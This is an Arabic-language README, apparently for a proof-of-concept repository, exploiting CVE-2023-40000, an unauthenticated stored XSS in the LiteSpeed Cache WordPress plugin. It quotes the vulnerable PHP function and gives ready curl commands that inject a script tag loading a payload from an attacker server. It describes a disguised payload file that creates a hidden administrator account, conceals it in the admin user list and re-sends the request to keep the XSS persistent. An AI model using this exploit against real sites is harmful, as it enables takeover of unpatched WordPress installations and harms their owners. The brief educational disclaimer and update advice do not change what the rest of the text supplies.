
إثبات المفهوم (PoC) لثغرة XSS في إضافة LiteSpeed Cache لووردبريس (CVE-2023-40000) والتي تتيح رفع الصلاحيات. تتضمن كودًا وشروحات وتدابير تخفيف.
إثبات اختراق (PoC) لثغرة XSS في إضافة LiteSpeed Cache لووردبريس تسمح برفع الصلاحيات. تم إصلاح هذه الثغرة في الإصدار 5.7.0.1 من الإضافة، وتم تخصيص CVE-2023-40000 لها. وفقًا لصفحة العرض المتقدم للإضافة، لا يزال حوالي 35% من المستخدمين يستخدمون إصدارًا ضعيفًا (<5.7.0.1)، وهو ما يصل إلى حوالي 1.8 مليون موقع.
بسبب نقص تنظيف المدخلات في دالة update_cdn_status، يمكن للمستخدمين (غير المصادق عليهم) إرسال طلب POST مع قيمة _msg مصابة في النموذج (form) يتم تخزينها ثم عرضها في قسم الإدارة في ووردبريس. يمكن أن يسمح هذا لأي شخص بإنشاء حسابات إدارة، أو رفع صلاحياته، أو سرقة معلومات حساسة بمجرد إرسال طلب POST واحد غير مصادق عليه. يمكن العثور على الدالة المعرضة للخطر هنا أو أدناه، ويمكن العثور على دالة Admin_Display::error هنا.
/**
* Callback for updating Auto CDN Setup status after run
*
* @since 4.7
* @access public
*/
public function update_cdn_status() {
if ( !isset( $_POST[ 'success' ] ) || !isset( $_POST[ 'result' ] ) ) {
self::save_summary( array( 'cdn_setup_err' => __( 'Received invalid message from the cloud server. Please submit a ticket.', 'litespeed-cache' ) ) );
return self::err( 'lack_of_param' );
}
if (!$_POST[ 'success' ]) {
self::save_summary( array( 'cdn_setup_err' => $_POST[ 'result' ][ '_msg' ] ) );
Admin_Display::error( __( 'There was an error during CDN setup: ', 'litespeed-cache' ) . $_POST[ 'result' ][ '_msg' ] );
} else {
$this->_process_cdn_status($_POST[ 'result' ]);
}
return self::ok();
}
يحتوي إثبات المفهوم في هذا المستودع على خادم NodeJS Express مصمم لإخفاء وتوصيل حمولة XSS، مع التقاط الإشارات (pings) والبيانات الواردة. يعرض نص الحمولة (payload script) الإجراءات المحتملة للمهاجمين الذين يستغلون هذه الثغرة: فهو ينشئ حساب إدارة باسم مستخدم wp-config-user وكلمة مرور somepassword123. كما أن حمولة XSS، التي تم إخفاؤها أيضًا باسم admin-bar-reloaded.min، تخفي نافذة XSS المنبثقة الأولية عند التحميل، وتخفي تمامًا المستخدم الذي تم إنشاؤه في صفحة users.php للإدارة، وتكرر طلب POST الأولي للحفاظ على XSS مخزنة مستمرة.
npm install لتثبيت التبعيات.node index.js.استخدم أمر cURL التالي لإرسال طلب POST إلى نقطة النهاية الضعيفة:
curl -X POST "https://target.website/wordpress/wp-json/litespeed/v1/cdn_status" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "success=0&result[_msg]=<script src=https://your.server/admin-bar-reloaded.min.js></script>"
curl -X POST "https://target.website/wordpress/wp-json/litespeed/v1/cdn_status" ^
-H "Content-Type: application/x-www-form-urlencoded" ^
-d "success=0&result[_msg]=<script src=https://your.server/admin-bar-reloaded.min.js></script>"
محتوى هذا المستودع مقدم بدقة لأغراض تعليمية وبحثية فقط. لست مسؤولاً عن أي سوء استخدام أو أنشطة غير قانونية ناتجة عن استخدام هذا الإثبات. بالإضافة إلى ذلك، تم إصدار تحذير على صفحة إضافة LiteSpeed Cache ينصح جميع المستخدمين بتحديث برامجهم بسبب هذه الثغرة المعروفة. يرجى التأكد من تحديث تثبيتاتك إلى الإصدار 5.7.0.1 أو أحدث للتخفيف من هذه المشكلة.